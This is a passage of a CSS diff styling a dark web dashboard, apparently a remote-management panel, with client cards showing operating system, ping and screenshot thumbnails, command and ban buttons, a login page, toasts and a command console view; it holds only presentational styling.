+ radial-gradient(circle at 80% 0%, rgba(249, 115, 22, 0.08), transparent 55%);
+}
+.tone-pill-debian {
+ --card-accent:
+ radial-gradient(
+ circle at 20% 20%,
+ rgba(236, 72, 153, 0.14),
+ transparent 45%
+ ),
+ radial-gradient(circle at 80% 0%, rgba(236, 72, 153, 0.08), transparent 55%);
+}
+.tone-pill-kali {
+ --card-accent:
+ radial-gradient(
+ circle at 20% 20%,
+ rgba(14, 165, 233, 0.16),
+ transparent 45%
+ ),
+ radial-gradient(circle at 80% 0%, rgba(14, 165, 233, 0.08), transparent 55%);
+}
+.tone-pill-fedora {
+ --card-accent:
+ radial-gradient(
+ circle at 20% 20%,
+ rgba(59, 130, 246, 0.16),
+ transparent 45%
+ ),
+ radial-gradient(circle at 80% 0%, rgba(59, 130, 246, 0.08), transparent 55%);
+}
+.tone-pill-linux {
+ --card-accent:
+ radial-gradient(
+ circle at 20% 20%,
+ rgba(16, 185, 129, 0.14),
+ transparent 45%
+ ),
+ radial-gradient(circle at 80% 0%, rgba(16, 185, 129, 0.08), transparent 55%);
+}
+.tone-pill-win {
+ --card-accent:
+ radial-gradient(
+ circle at 20% 20%,
+ rgba(59, 130, 246, 0.18),
+ transparent 45%
+ ),
+ radial-gradient(circle at 80% 0%, rgba(14, 165, 233, 0.12), transparent 55%);
+}
+.tone-pill-mac {
+ --card-accent:
+ radial-gradient(
+ circle at 20% 20%,
+ rgba(226, 232, 240, 0.16),
+ transparent 45%
+ ),
+ radial-gradient(circle at 80% 0%, rgba(148, 163, 184, 0.1), transparent 55%);
+}
+.tone-pill-unknown {
+ --card-accent:
+ radial-gradient(
+ circle at 20% 20%,
+ rgba(148, 163, 184, 0.12),
+ transparent 45%
+ ),
+ radial-gradient(
+ circle at 80% 0%,
+ rgba(148, 163, 184, 0.06),
+ transparent 55%
+ );
+}
+.client-card {
+ padding: 14px;
+}
+.client-row {
+ display: flex;
+ align-items: center;
+ gap: 14px;
+ flex-wrap: wrap;
+}
+.thumb-wrap {
+ flex: 0 0 auto;
+}
+
+@keyframes gradientShift {
+ 0% {
+ transform: translate3d(-4%, -2%, 0) scale(1);
+ }
+ 50% {
+ transform: translate3d(3%, 4%, 0) scale(1.05);
+ }
+ 100% {
+ transform: translate3d(-2%, 6%, 0) scale(1.02);
+ }
+}
+.thumb-lg {
+ width: 150px;
+ height: 96px;
+ object-fit: cover;
+ border-radius: 12px;
+ border: 1px solid rgba(255, 255, 255, 0.12);
+ background: rgba(255, 255, 255, 0.04);
+ display: grid;
+ place-items: center;
+ color: #8aa2c5;
+ font-size: 20px;
+}
+.thumb-lg.placeholder {
+ border-style: dashed;
+}
+.client-main {
+ flex: 1 1 260px;
+ display: flex;
+ flex-direction: column;
+ gap: 8px;
+}
+.title-row {
+ display: flex;
+ align-items: center;
+ gap: 10px;
+ flex-wrap: wrap;
+ font-weight: 700;
+}
+.flag {
+ font-size: 22px;
+}
+.client-name {
+ font-size: 16px;
+}
+.meta-row {
+ display: flex;
+ align-items: center;
+ gap: 8px;
+ flex-wrap: wrap;
+ color: #9db1cc;
+ font-size: 13px;
+}
+.chip {
+ padding: 4px 8px;
+ border-radius: var(--radius-full);
+ background: rgba(255, 255, 255, 0.06);
+ color: #d7e5ff;
+ font-size: var(--text-xs);
+ display: inline-flex;
+ gap: 6px;
+ align-items: center;
+}
+.ping {
+ font-variant-numeric: tabular-nums;
+ color: #9cf099;
+ display: inline-flex;
+ align-items: center;
+ gap: 6px;
+}
+.right-rail {
+ display: flex;
+ align-items: center;
+ gap: 10px;
+}
+.empty-state {
+ text-align: center;
+ padding: 18px;
+ color: #9db1cc;
+}
+
+.context-menu {
+ position: fixed;
+ z-index: 50;
+ padding: 8px;
+ display: flex;
+ flex-direction: column;
+ gap: 6px;
+ width: 180px;
+}
+.context-menu button {
+ width: 100%;
+ text-align: left;
+ padding: 8px 10px;
+ border: 1px solid var(--color-border);
+ background: rgba(255, 255, 255, 0.05);
+ color: var(--color-text);
+ border-radius: var(--radius-md);
+ cursor: pointer;
+ display: inline-flex;
+ gap: 8px;
+ align-items: center;
+}
+.context-menu button:hover {
+ background: rgba(255, 255, 255, 0.12);
+}
+.context-menu button.danger {
+ color: #ffb4b4;
+ border-color: rgba(255, 99, 99, 0.2);
+}
+
+.pagination {
+ display: flex;
+ align-items: center;
+ justify-content: center;
+ gap: 12px;
+ padding: 12px 0 28px 0;
+}
+.button {
+ padding: 9px 14px;
+ border-radius: var(--radius-lg);
+ border: 1px solid rgba(255, 255, 255, 0.14);
+ color: var(--color-text);
+ background: rgba(255, 255, 255, 0.06);
+ cursor: pointer;
+ display: inline-flex;
+ gap: 8px;
+ align-items: center;
+}
+.button:disabled {
+ opacity: 0.4;
+ cursor: not-allowed;
+}
+.button.ghost {
+ background: rgba(255, 255, 255, 0.04);
+ border-color: rgba(255, 255, 255, 0.12);
+}
+
+@media (max-width: 720px) {
+ .topbar {
+ flex-wrap: wrap;
+ gap: 10px;
+ }
+ .nav {
+ width: 100%;
+ justify-content: flex-start;
+ flex-wrap: wrap;
+ }
+ .page {
+ padding: 16px 14px;
+ }
+ .right-rail {
+ width: 100%;
+ justify-content: flex-start;
+ }
+ .thumb-lg {
+ width: 120px;
+ height: 80px;
+ }
+
+ #command-menu {
+ max-width: calc(100vw - 20px);
+ max-height: calc(100vh - 20px);
+ overflow-y: auto;
+ font-size: 14px;
+ }
+
+ #command-menu button {
+ padding: 10px 12px;
+ font-size: 14px;
+ }
+
+ #command-menu i {
+ font-size: 14px;
+ }
+}
+
+@media (min-width: 1800px) {
+ #clients-shell {
+ max-width: min(1800px, 92vw) !important;
+ }
+
+ #clients-shell h1 {
+ font-size: 2rem;
+ }
+
+ #clients-shell #grid {
+ gap: 1rem;
+ }
+
+ #clients-shell #grid article.card {
+ padding: 1.15rem 1.35rem;
+ }
+
+ #clients-shell #grid .thumb-img {
+ width: 12rem;
+ height: 7.25rem;
+ }
+
+ #clients-shell #grid .text-2xl {
+ font-size: 1.7rem;
+ line-height: 1;
+ }
+
+ #clients-shell #grid .text-lg {
+ font-size: 1.2rem;
+ }
+
+ #clients-shell #grid .text-sm {
+ font-size: 0.95rem;
+ }
+
+ #clients-shell #grid .text-xs {
+ font-size: 0.82rem;
+ }
+
+ #clients-shell #grid .pill {
+ padding: 0.35rem 0.65rem;
+ }
+
+ #clients-shell #grid .command-btn,
+ #clients-shell #grid .ban-btn {
+ padding: 0.7rem 0.95rem;
+ }
+}
+.login-body {
+ display: grid;
+ place-items: center;
+ min-height: 100vh;
+ background:
+ radial-gradient(120% 120% at 20% 20%, #102040 0%, transparent 45%),
+ radial-gradient(110% 110% at 80% 0%, #112233 0%, transparent 50%), #05070f;
+ position: relative;
+ overflow: hidden;
+}
+
+.login-particles {
+ position: absolute;
+ inset: 0;
+ pointer-events: none;
+ overflow: hidden;
+}
+
+.particle {
+ position: absolute;
+ width: 4px;
+ height: 4px;
+ background: radial-gradient(circle, rgba(92, 145, 255, 0.8), transparent);
+ border-radius: 50%;
+ opacity: 0;
+}
+
+.particle:nth-child(1) {
+ top: 20%;
+ left: 15%;
+}
+.particle:nth-child(2) {
+ top: 60%;
+ left: 80%;
+}
+.particle:nth-child(3) {
+ top: 40%;
+ left: 50%;
+}
+.particle:nth-child(4) {
+ top: 75%;
+ left: 25%;
+}
+.particle:nth-child(5) {
+ top: 15%;
+ left: 70%;
+}
+
+.login-card {
+ width: min(420px, 90vw);
+ background: linear-gradient(
+ 145deg,
+ rgba(40, 55, 90, 0.4),
+ rgba(20, 26, 40, 0.85)
+ );
+ border: 1px solid rgba(255, 255, 255, 0.12);
+ border-radius: var(--radius-lg);
+ padding: 40px 32px;
+ box-shadow:
+ 0 20px 60px rgba(0, 0, 0, 0.5),
+ 0 0 100px rgba(92, 145, 255, 0.1);
+ position: relative;
+ opacity: 0;
+}
+
+.login-card::before {
+ content: "";
+ position: absolute;
+ inset: 0;
+ border-radius: var(--radius-lg);
+ padding: 1px;
+ background: linear-gradient(145deg, rgba(92, 145, 255, 0.3), transparent);
+ -webkit-mask:
+ linear-gradient(#fff 0 0) content-box,
+ linear-gradient(#fff 0 0);
+ -webkit-mask-composite: xor;
+ mask-composite: exclude;
+ pointer-events: none;
+}
+
+.login-crown-wrapper {
+ display: flex;
+ justify-content: center;
+ margin-bottom: 20px;
+}
+
+.login-crown {
+ font-size: 48px;
+ color: #7a5bff;
+ filter: drop-shadow(0 4px 12px rgba(122, 91, 255, 0.5));
+}
+
+.login-brand {
+ text-align: center;
+ font-size: 28px;
+ font-weight: 700;
+ letter-spacing: 1px;
+ margin-bottom: 12px;
+ background: linear-gradient(135deg, #7a5bff, #5672ff);
+ -webkit-background-clip: text;
+ -webkit-text-fill-color: transparent;
+ background-clip: text;
+ opacity: 0;
+ display: block;
+ width: 100%;
+}
+
+.login-title {
+ text-align: center;
+ font-size: 24px;
+ font-weight: 600;
+ margin: 0 0 8px 0;
+ opacity: 0;
+}
+
+.login-subtitle {
+ text-align: center;
+ margin-bottom: 28px;
+ opacity: 0;
+}
+
+.form-group {
+ margin-bottom: 20px;
+ opacity: 0;
+}
+
+.modal {
+ align-items: center;
+ justify-content: center;
+}
+
+.modal img {
+ margin: 0 auto;
+ object-fit: contain;
+}
+
+.label {
+ display: block;
+ margin: 12px 0 6px 0;
+ color: #cfe0ff;
+ font-size: 14px;
+}
+
+.input-row {
+ display: flex;
+ align-items: center;
+ gap: 12px;
+ padding: 13px 16px;
+ border-radius: var(--radius-lg);
+ border: 1px solid rgba(255, 255, 255, 0.12);
+ background: rgba(255, 255, 255, 0.05);
+ transition: all 0.3s ease;
+}
+
+.input-row:focus-within {
+ border-color: rgba(92, 145, 255, 0.5);
+ background: rgba(255, 255, 255, 0.08);
+ box-shadow: 0 0 0 3px rgba(92, 145, 255, 0.1);
+}
+
+.input-row i {
+ color: #7a8cb5;
+ font-size: 16px;
+}
+
+.input-row:focus-within i {
+ color: #7a5bff;
+}
+
+.input-row input {
+ flex: 1;
+ background: transparent;
+ border: none;
+ color: #e8edf2;
+ font-size: 15px;
+ outline: none;
+}
+
+.input-row input::placeholder {
+ color: #6b7a98;
+}
+
+.button.primary {
+ background: linear-gradient(120deg, #4f6bff, #715dff);
+ border-color: rgba(129, 140, 248, 0.55);
+ box-shadow: 0 4px 16px rgba(99, 102, 241, 0.3);
+ transition: all 0.3s ease;
+ position: relative;
+ overflow: hidden;
+}
+
+.button.primary:hover {
+ transform: translateY(-2px);
+ box-shadow: 0 6px 24px rgba(122, 91, 255, 0.4);
+}
+
+.button.primary:active {
+ transform: translateY(0);
+}
+
+.button.full {
+ width: 100%;
+ justify-content: center;
+}
+
+@keyframes radioactiveShake {
+ 0%,
+ 100% {
+ transform: translate(0, 0);
+ }
+ 25% {
+ transform: translate(-0.5px, 0.5px);
+ }
+ 50% {
+ transform: translate(0.5px, -0.5px);
+ }
+ 75% {
+ transform: translate(-0.5px, -0.5px);
+ }
+}
+
+@keyframes crownBounce {
+ 0%,
+ 100% {
+ transform: translateY(0);
+ }
+ 50% {
+ transform: translateY(-4px);
+ }
+}
+
+@keyframes statusPulse {
+ 0%,
+ 100% {
+ opacity: 1;
+ box-shadow: 0 0 0 0 rgba(34, 197, 94, 0.7);
+ }
+ 50% {
+ opacity: 0.9;
+ box-shadow: 0 0 0 6px rgba(34, 197, 94, 0);
+ }
+}
+
+.status-online {
+ animation: statusPulse 2s ease-in-out infinite;
+}
+
+@keyframes radioactiveShakeIntense {
+ 0%,
+ 100% {
+ transform: translate(0, 0);
+ }
+ 10% {
+ transform: translate(-2px, 2px);
+ }
+ 20% {
+ transform: translate(2px, -2px);
+ }
+ 30% {
+ transform: translate(-2px, -2px);
+ }
+ 40% {
+ transform: translate(2px, 2px);
+ }
+ 50% {
+ transform: translate(-2px, 0);
+ }
+ 60% {
+ transform: translate(2px, 0);
+ }
+ 70% {
+ transform: translate(0, -2px);
+ }
+ 80% {
+ transform: translate(0, 2px);
+ }
+ 90% {
+ transform: translate(-2px, 2px);
+ }
+}
+
+.login-btn {
+ margin-top: 8px;
+ padding: 14px 20px;
+ font-size: 16px;
+ font-weight: 600;
+ opacity: 0;
+ position: relative;
+ overflow: visible;
+ animation: none;
+}
+
+.login-btn:hover {
+ animation: none;
+ transform: translateY(-1px);
+}
+
+.header-crown {
+ background: linear-gradient(135deg, #a78bfa, #c084fc);
+ -webkit-background-clip: text;
+ -webkit-text-fill-color: transparent;
+ background-clip: text;
+ display: inline-block;
+ animation: crownBounce 2s ease-in-out infinite;
+}
+
+@keyframes cardSlideIn {
+ from {
+ opacity: 0;
+ transform: translateY(20px) scale(0.95);
+ }
+ to {
+ opacity: 1;
+ transform: translateY(0) scale(1);
+ }
+}
+
+.card-animate {
+ animation: cardSlideIn 0.4s ease-out forwards;
+ opacity: 0;
+}
+
+.ripple {
+ position: relative;
+ overflow: hidden;
+}
+
+.ripple::after {
+ content: "";
+ position: absolute;
+ border-radius: 50%;
+ background: rgba(255, 255, 255, 0.5);
+ width: 100px;
+ height: 100px;
+ margin-top: -50px;
+ margin-left: -50px;
+ top: var(--y, 50%);
+ left: var(--x, 50%);
+ pointer-events: none;
+ transform: scale(0);
+ opacity: 0;
+}
+
+.ripple.ripple-active::after {
+ animation: ripple-effect 0.6s ease-out;
+}
+
+@keyframes ripple-effect {
+ 0% {
+ transform: scale(0);
+ opacity: 1;
+ }
+ 100% {
+ transform: scale(4);
+ opacity: 0;
+ }
+}
+
+.toast-container {
+ position: fixed;
+ top: 80px;
+ right: 20px;
+ z-index: 9999;
+ display: flex;
+ flex-direction: column;
+ gap: 12px;
+ pointer-events: none;
+}
+
+.toast {
+ background: linear-gradient(
+ 135deg,
+ rgba(30, 41, 59, 0.98),
+ rgba(15, 23, 42, 0.98)
+ );
+ border: 1px solid rgba(100, 116, 139, 0.3);
+ border-radius: var(--radius-lg);
+ padding: 16px 20px;
+ min-width: 320px;
+ max-width: 420px;
+ box-shadow:
+ 0 10px 40px rgba(0, 0, 0, 0.5),
+ 0 0 0 1px rgba(255, 255, 255, 0.05);
+ pointer-events: auto;
+ animation: toastSlideIn 0.3s ease-out;
+ backdrop-filter: blur(12px);
+}
+
+.toast.removing {
+ animation: toastSlideOut 0.3s ease-in forwards;
+}
+
+@keyframes toastSlideIn {
+ from {
+ opacity: 0;
+ transform: translateX(400px) scale(0.9);
+ }
+ to {
+ opacity: 1;
+ transform: translateX(0) scale(1);
+ }
+}
+
+@keyframes toastSlideOut {
+ from {
+ opacity: 1;
+ transform: translateX(0) scale(1);
+ }
+ to {
+ opacity: 0;
+ transform: translateX(400px) scale(0.9);
+ }
+}
+
+.toast-header {
+ display: flex;
+ align-items: center;
+ gap: 12px;
+ margin-bottom: 8px;
+}
+
+.toast-icon {
+ width: 24px;
+ height: 24px;
+ display: flex;
+ align-items: center;
+ justify-content: center;
+ border-radius: 50%;
+ font-size: 14px;
+}
+
+.toast-success .toast-icon {
+ background: rgba(34, 197, 94, 0.2);
+ color: #4ade80;
+}
+
+.toast-error .toast-icon {
+ background: rgba(239, 68, 68, 0.2);
+ color: #f87171;
+}
+
+.toast-info .toast-icon {
+ background: rgba(59, 130, 246, 0.2);
+ color: #60a5fa;
+}
+
+.toast-warning .toast-icon {
+ background: rgba(245, 158, 11, 0.2);
+ color: #fbbf24;
+}
+
+.toast-title {
+ font-weight: 600;
+ font-size: 15px;
+ color: #f1f5f9;
+ flex: 1;
+}
+
+.toast-close {
+ background: none;
+ border: none;
+ color: #94a3b8;
+ cursor: pointer;
+ padding: 4px;
+ display: flex;
+ align-items: center;
+ justify-content: center;
+ border-radius: 4px;
+ transition: all 0.2s;
+}
+
+.toast-close:hover {
+ background: rgba(100, 116, 139, 0.2);
+ color: #f1f5f9;
+}
+
+.toast-message {
+ color: #cbd5e1;
+ font-size: 14px;
+ line-height: 1.5;
+ padding-left: 36px;
+}
+
+.page-transition-enter {
+ animation: pageSlideIn 0.3s ease-out;
+}
+
+@keyframes pageSlideIn {
+ from {
+ opacity: 0;
+ transform: translateX(20px);
+ }
+ to {
+ opacity: 1;
+ transform: translateX(0);
+ }
+}
+
+@keyframes countUp {
+ from {
+ opacity: 0;
+ transform: translateY(10px);
+ }
+ to {
+ opacity: 1;
+ transform: translateY(0);
+ }
+}
+
+.counter-animate {
+ animation: countUp 0.5s ease-out;
+}
+
+.login-btn-particle {
+ position: fixed;
+ pointer-events: none;
+ border-radius: 50%;
+ background: radial-gradient(
+ circle,
+ rgba(150, 120, 255, 1),
+ rgba(100, 130, 255, 0.9)
+ );
+ box-shadow:
+ 0 0 12px rgba(150, 120, 255, 1),
+ 0 0 24px rgba(120, 100, 255, 0.9),
+ 0 0 36px rgba(100, 130, 255, 0.7);
+ opacity: 0;
+ will-change: transform, opacity;
+}
+
+.btn-text {
+ margin-right: 8px;
+}
+
+.btn-icon {
+ transition: transform 0.3s ease;
+}
+
+.button.primary:hover .btn-icon {
+ transform: translateX(4px);
+}
+
+.error {
+ color: #ff9b9b;
+ min-height: 18px;
+ margin-top: 12px;
+ font-size: 13px;
+ text-align: center;
+ padding: 8px;
+ border-radius: 8px;
+ background: rgba(255, 99, 99, 0.1);
+ border: 1px solid rgba(255, 99, 99, 0.2);
+ opacity: 0;
+}
+
+.error:not(:empty) {
+ opacity: 1;
+}
+
+.console-body {
+ background:
+ radial-gradient(120% 120% at 20% 20%, #102040 0%, transparent 45%),
+ radial-gradient(110% 110% at 80% 0%, #112233 0%, transparent 50%), #05070f;
+ min-height: 100vh;
+ color: #e8edf2;
+ font-family:
+ "Inter",
+ "Segoe UI",
+ system-ui,
+ -apple-system,
+ sans-serif;
+}
+
+.console-topbar {
+ position: sticky;
+ top: 0;
+ z-index: 20;
+ display: flex;
+ align-items: center;
+ justify-content: space-between;
+ gap: 12px;
+ padding: 14px 18px;
+ background: rgba(5, 9, 18, 0.9);
+ border-bottom: 1px solid rgba(255, 255, 255, 0.08);
+ backdrop-filter: blur(10px);
+}
+
+.console-actions {
+ display: flex;
+ align-items: center;
+ gap: 10px;
+ flex-wrap: wrap;
+}
+
+.console-main {
+ padding: 16px;
+ max-width: 1100px;
+ margin: 0 auto;
+}
+
+.console-card {
+ background: linear-gradient(
+ 145deg,
+ rgba(40, 55, 90, 0.35),
+ rgba(12, 18, 30, 0.9)
+ );
+ border: 1px solid var(--color-border);
+ border-radius: var(--radius-lg);
+ padding: 16px;
+ box-shadow: 0 16px 40px rgba(0, 0, 0, 0.45);
+ display: flex;
+ flex-direction: column;
+ gap: 12px;
+}
+
+.console-meta {
+ display: grid;
+ grid-template-columns: repeat(auto-fit, minmax(140px, 1fr));
+ gap: 10px;
+ padding: 8px;
+ border-radius: 12px;
+ background: rgba(255, 255, 255, 0.04);
+ border: 1px solid rgba(255, 255, 255, 0.06);
+}
+
+.console-target-id {
+ font-weight: 600;
+ color: #f8fbff;
+ word-break: break-all;
+}
+
+.console-output {
+ min-height: 46vh;
+ max-height: 68vh;
+ white-space: normal;
+ width: 100%;
+ max-width: 100%;
+ min-width: 0;
+ overflow: auto;
+ overflow-x: auto;
+ box-sizing: border-box;
+ padding: 14px;
+ border-radius: 14px;
+ background:
+ radial-gradient(
+ 120% 120% at 20% 20%,
+ rgba(80, 120, 255, 0.08),
+ transparent 50%
+ ),
+ radial-gradient(
+ 80% 80% at 80% 0%,
+ rgba(24, 196, 164, 0.08),
+ transparent 60%
+ ),
+ #0b1020;
+ border: 1px solid rgba(255, 255, 255, 0.08);
+ font-family: "JetBrains Mono", "SFMono-Regular", Menlo, Consolas, monospace;
+ font-size: 13px;
+ line-height: 1.5;
+ overflow-wrap: normal;
+ word-break: normal;
+}
+
+.console-pre {
+ margin: 0;
+ white-space: pre;
+ display: block;
+ width: max-content;
+ min-width: 0;
+ text-align: left;
+}
+
+.console-input-row {
+ display: grid;
+ grid-template-columns: auto 1fr auto;
+ gap: 10px;
+ align-items: end;
+ padding: 10px;
+ border-radius: 12px;
+ background: rgba(255, 255, 255, 0.04);
+ border: 1px solid rgba(255, 255, 255, 0.08);
+}
+
+.console-input-row .prompt {
+ padding: 8px 10px;
+ border-radius: 10px;
+ background: rgba(255, 255, 255, 0.06);
+ color: #cfe0ff;
+ font-family: "JetBrains Mono", "SFMono-Regular", Menlo, Consolas, monospace;
+}
+
+#console-input {
+ width: 100%;
+ min-height: 46px;
+ max-height: 200px;
+ resize: vertical;
+ border: 1px solid rgba(255, 255, 255, 0.08);
+ background: rgba(3, 7, 18, 0.8);
+ color: #e8edf2;
+ border-radius: 12px;
+ padding: 10px 12px;
+ font-family: "JetBrains Mono", "SFMono-Regular", Menlo, Consolas, monospace;
+ font-size: 14px;
+}
+
+.console-buttons {
+ display: flex;
+ align-items: center;
+ gap: 8px;
+}
+.console-buttons .button {
+ display: inline-flex;
+ align-items: center;
+ gap: 6px;
+}
+
+@media (max-width: 720px) {
+ .console-topbar {
+ flex-wrap: wrap;
+ }
+ .console-actions {
+ width: 100%;
+ justify-content: flex-start;
+ }
+ .console-input-row {
+ grid-template-columns: 1fr;
+ }
+ .console-input-row .prompt {
+ width: fit-content;
+ }
+ .console-buttons {
+ width: 100%;
+ justify-content: flex-start;
+ flex-wrap: wrap;
+ }
+ #console-input {
+ min-height: 60px;
+ }
+}
+
+/* Search highlighting */
+mark.search-match {
+ background-color: rgba(250, 204, 21, 0.3);
+ color: inherit;
+ padding: 2px 0;
+ border-radius: 2px;
+}
+
+mark.search-current {
+ background-color: rgba(251, 146, 60, 0.5);
+ color: inherit;
+ padding: 2px 0;
+ border-radius: 2px;
+ box-shadow: 0 0 0 2px rgba(251, 146, 60, 0.6);
+}
+
+/* Dashboard polish */
+#top-nav {
+ box-shadow: 0 10px 30px rgba(2, 6, 23, 0.45);
+}
+
+#top-nav nav a {
+ position: relative;
+ border-color: rgba(71, 85, 105, 0.55) !important;
+ box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.02);
+ transition:
+ transform 160ms ease,
+ border-color 160ms ease,
+ background-color 160ms ease,
+ box-shadow 160ms ease;
+}
+
+#top-nav nav a i {
+ transition:
+ transform 160ms ease,
+ filter 160ms ease;
+}
+
+#top-nav nav a:hover {
+ transform: translateY(-1px);
+ border-color: rgba(99, 102, 241, 0.45) !important;
+ box-shadow:
+ inset 0 1px 0 rgba(255, 255, 255, 0.04),
+ 0 8px 22px rgba(2, 6, 23, 0.28);
+}
+
+#top-nav nav a:hover i {
+ transform: translateY(-1px) scale(1.06);
+ filter: drop-shadow(0 0 8px rgba(148, 163, 184, 0.35));
+}
+
+#top-nav nav a.nav-active {
+ border-color: rgba(99, 102, 241, 0.62) !important;
+ background: linear-gradient(
+ 135deg,
+ rgba(49, 46, 129, 0.45),
+ rgba(30, 41, 59, 0.9)
+ ) !important;
+ box-shadow:
+ inset 0 0 0 1px rgba(129, 140, 248, 0.18),
+ 0 10px 26px rgba(30, 64, 175, 0.24);
+}
+
+#top-nav nav a.nav-active i {
+ filter: drop-shadow(0 0 10px rgba(129, 140, 248, 0.45));
+}
+
+#total-pill {
+ background: linear-gradient(
+ 135deg,
+ rgba(30, 58, 138, 0.55),
+ rgba(15, 23, 42, 0.75)
+ ) !important;
+ border-color: rgba(59, 130, 246, 0.5) !important;
+ box-shadow: 0 8px 20px rgba(30, 64, 175, 0.25);
+}
+
+#filter-status,
+#filter-os,
+#sort {
+ transition:
+ border-color 150ms ease,
+ box-shadow 150ms ease,
+ background-color 150ms ease;
+}
+
+#filter-status:focus,
+#filter-os:focus,
+#sort:focus {
+ border-color: rgba(99, 102, 241, 0.65) !important;
+ box-shadow: 0 0 0 3px rgba(99, 102, 241, 0.18);
+ outline: none;
+}
+
+#search-shell {
+ transition:
+ border-color 150ms ease,
+ box-shadow 150ms ease,
+ background-color 150ms ease;
+}
+
+#search-shell:focus-within {
+ border-color: rgba(99, 102, 241, 0.65) !important;
+ box-shadow: 0 0 0 3px rgba(99, 102, 241, 0.18);
+}
+
+#select-all,
+#clear-selection,
+#prev,
+#next {
+ transition:
+ transform 150ms ease,
+ border-color 150ms ease,
+ box-shadow 150ms ease;
+}
+
+#select-all:hover,
+#clear-selection:hover,
+#prev:hover,
+#next:hover {
+ transform: translateY(-1px);
+ border-color: rgba(99, 102, 241, 0.45) !important;
+ box-shadow: 0 8px 18px rgba(15, 23, 42, 0.4);
+}
+
+#bulk-toolbar {
+ background:
+ radial-gradient(
+ 120% 120% at 0% 0%,
+ rgba(99, 102, 241, 0.15),
+ transparent 55%
+ ),
+ rgba(49, 46, 129, 0.3) !important;
+ border-color: rgba(99, 102, 241, 0.45) !important;
+ box-shadow: 0 10px 24px rgba(30, 41, 59, 0.32);
+}
+
+#grid article.card {
+ position: relative;
+ overflow: hidden;
+ border-color: rgba(71, 85, 105, 0.55) !important;
+ backdrop-filter: blur(4px);
+ transition:
+ transform 170ms ease,
+ border-color 170ms ease,
+ box-shadow 170ms ease;
+}
+
+#grid article.card:hover {
+ transform: translateY(-2px);
+ border-color: rgba(99, 102, 241, 0.45) !important;
+ box-shadow:
+ 0 18px 36px rgba(2, 6, 23, 0.45),
+ 0 0 0 1px rgba(99, 102, 241, 0.14);
+}
+
+/* Cohesive UI polish layer */
+:root {
+ --ui-surface: rgba(8, 12, 24, 0.72);
+ --ui-surface-strong: rgba(11, 17, 33, 0.9);
+ --ui-surface-elevated: rgba(14, 22, 40, 0.94);
+ --ui-border: rgba(148, 163, 184, 0.2);
+ --ui-border-strong: rgba(99, 102, 241, 0.4);
+ --ui-ring: rgba(99, 102, 241, 0.28);
+ --ui-shadow: 0 14px 34px rgba(2, 6, 23, 0.35);
+}
+
+body {
+ text-rendering: optimizeLegibility;
+ -webkit-font-smoothing: antialiased;
+}
+
+.topbar,
+.console-topbar,
+#top-nav {
+ background: linear-gradient(
+ 170deg,
+ rgba(8, 12, 24, 0.92),
+ rgba(6, 10, 20, 0.84)
+ );
+ border-bottom: 1px solid var(--ui-border);
+ box-shadow: 0 12px 30px rgba(2, 6, 23, 0.45);
+}
+
+.container,
+.console-main,
+.page {
+ gap: 20px;
+}
+
+.card,
+.console-card,
+.login-card,
+.context-menu,
+.modal {
+ backdrop-filter: blur(10px);
+ border-color: var(--ui-border);
+ box-shadow: var(--ui-shadow);
+}
+
+.card,
+.console-card {
+ transition:
+ transform 180ms ease,
+ border-color 180ms ease,
+ box-shadow 180ms ease,
+ background-color 180ms ease;
+}
+
+.card:hover,
+.console-card:hover {
+ border-color: var(--ui-border-strong);
+}
+
+.button,
+.context-menu button,
+button {
+ transition:
+ transform 150ms ease,
+ border-color 150ms ease,
+ box-shadow 150ms ease,
+ background-color 150ms ease,
+ color 150ms ease;
+}
+
+.button:hover:not(:disabled),
+.context-menu button:hover,
+button:hover:not(:disabled) {
+ transform: translateY(-1px);
+ border-color: var(--ui-border-strong);
+ box-shadow: 0 10px 22px rgba(2, 6, 23, 0.36);
+}
+
+.button.primary {
+ background: linear-gradient(120deg, #4f6bff, #715dff);
+ border-color: rgba(129, 140, 248, 0.55);
+ box-shadow:
+ 0 10px 24px rgba(79, 70, 229, 0.35),
+ inset 0 1px 0 rgba(255, 255, 255, 0.2);
+}
+
+.button.ghost {
+ background: linear-gradient(
+ 170deg,
+ rgba(30, 41, 59, 0.32),
+ rgba(15, 23, 42, 0.28)
+ );
+ border-color: rgba(148, 163, 184, 0.24);
+}
+
+.button.danger {
+ background: linear-gradient(130deg, rgba(185, 28, 28, 0.82), rgba(153, 27, 27, 0.9));
+ border-color: rgba(248, 113, 113, 0.45);
+ color: #fee2e2;
+}
+
+input:not([type="checkbox"]):not([type="radio"]):not([type="range"]),
+select,
+textarea,
+.input-row,
+#search,
+#filter-status,
+#filter-os,
+#sort,
+#console-input {
+ background-color: var(--ui-surface);
+ border-color: var(--ui-border);
+}
+
+.input-row input,
+#search {
+ background-color: transparent !important;
+ border-color: transparent !important;
+ box-shadow: none !important;
+}
+
+input:not([type="checkbox"]):not([type="radio"]):not([type="range"]):focus,
+select:focus,
+textarea:focus,
+.input-row:focus-within,
+#filter-status:focus,
+#filter-os:focus,
+#sort:focus,
+#console-input:focus {
+ border-color: var(--ui-border-strong) !important;
+ box-shadow: 0 0 0 3px var(--ui-ring);
+ outline: none;
+}
+
+.pill,
+.chip,
+.user-pill {
+ border-color: rgba(148, 163, 184, 0.26);
+ background: linear-gradient(
+ 165deg,
+ rgba(30, 41, 59, 0.45),
+ rgba(15, 23, 42, 0.3)
+ );
+}
+
+table {
+ width: 100%;
+ border-collapse: collapse;
+ border: 1px solid var(--ui-border);
+ border-radius: 12px;
+ overflow: hidden;
+ background: var(--ui-surface-strong);
+}
+
+thead th {
+ background: rgba(30, 41, 59, 0.65);
+ color: #dbe7ff;
+ font-weight: 600;
+ letter-spacing: 0.01em;
+ border-bottom: 1px solid var(--ui-border);
+}
+
+th,
+td {
+ padding: 10px 12px;
+ border-bottom: 1px solid rgba(148, 163, 184, 0.14);
+}
+
+tbody tr:nth-child(even) {
+ background: rgba(15, 23, 42, 0.45);
+}
+
+tbody tr:hover {
+ background: rgba(49, 46, 129, 0.2);
+}
+
+* {
+ scrollbar-width: thin;
+ scrollbar-color: rgba(129, 140, 248, 0.55) rgba(15, 23, 42, 0.6);
+}
+
+*::-webkit-scrollbar {
+ width: 10px;
+ height: 10px;
+}
+
+*::-webkit-scrollbar-track {
+ background: rgba(15, 23, 42, 0.55);
+ border-radius: 999px;
+}
+
+*::-webkit-scrollbar-thumb {
+ background: linear-gradient(180deg, rgba(99, 102, 241, 0.76), rgba(56, 189, 248, 0.7));
+ border-radius: 999px;
+ border: 2px solid rgba(15, 23, 42, 0.75);
+}
+
+*::-webkit-scrollbar-thumb:hover {
